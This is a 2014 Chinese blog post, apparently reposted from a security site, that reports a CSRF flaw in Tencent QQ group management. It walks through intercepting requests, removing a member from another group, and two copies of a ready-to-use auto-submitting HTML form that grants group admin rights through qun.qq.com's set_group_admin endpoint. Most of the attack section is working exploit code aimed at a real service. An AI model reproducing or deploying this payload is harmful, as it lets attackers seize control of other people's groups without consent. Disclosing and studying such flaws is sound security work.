腾讯QQ群可csrf任意设置管理员下载

来源：黑吧安全网　浏览：745次　时间：2014-05-22

腾讯QQ群可csrf任意设置管理员http://qun.qq.com/manage.html#click

new？新功能？

我们来看看正常流程，我们找一个自己的群，然后设置下

就这个把。。。

网络安全高端研究(23707***39)

我要飞的对象是

不经常浮水的

乱飞会挨叼的，o(∩_∩)o

然后Fiddler抓包

看看流程

发现他发送了如下请求

gc

237077239

ul

1092612809

flag

bkn

1495574789

然后看了下

gc=QQ群号

ul=QQ号码

bkn=一串数字(无针对任何验证)

我们试试能不能修改删除某个群的成员，我跨群删除试试(必须要有管理员权限哦o(∩_∩)o 十八岁一下请勿模仿)

好，就这个吧

猎鹰科技官方群 Q群为：136***686

删除这个“╄→⑤冄戀鯖” QQ为：107131***16

就他把，我们飞了他

我们再换回

网络安全高端研究(23707***39)

然后随便找一个

修改前：

修改后：

可以看到已经删除鸟。。。。

好神奇

设置管理员也是这个请求，木有token

构造csrf：

<html>



<form name="comer"  action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin

" method="POST"> 



<input type="hidden" name="gc" value="QQ群号" />



<input type="hidden" name="ul" value="QQ号码" />





<input type="hidden" name="op" value="1(给予1的待遇，也就是管理员，第一位)" />





<input type="hidden" name="bkn" value="1495574789 (随机参数)" />





<input type="submit" />



</form>



<script>



document.comer.submit();



</script>



</html>

好的，了解完这些我们可以构造csrf来看下是否可以。。。

其实5944和那个什么美国免费空间就可以上传html了-。-

用我自己的群测试把

我的QQ群是： 285273***

然后我要设置的管理员的QQ是：858757***

就我一个群主而已，我们构造csrf代码把。。

<html>



<form name="comer"  action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin

" method="POST"> 



<input type="hidden" name="gc" value="285273***" />



<input type="hidden" name="ul" value="858757***" />





<input type="hidden" name="op" value="1" />





<input type="hidden" name="bkn" value="1495574789" />





<input type="submit" />



</form>



<script>



document.comer.submit();



</script>



</html>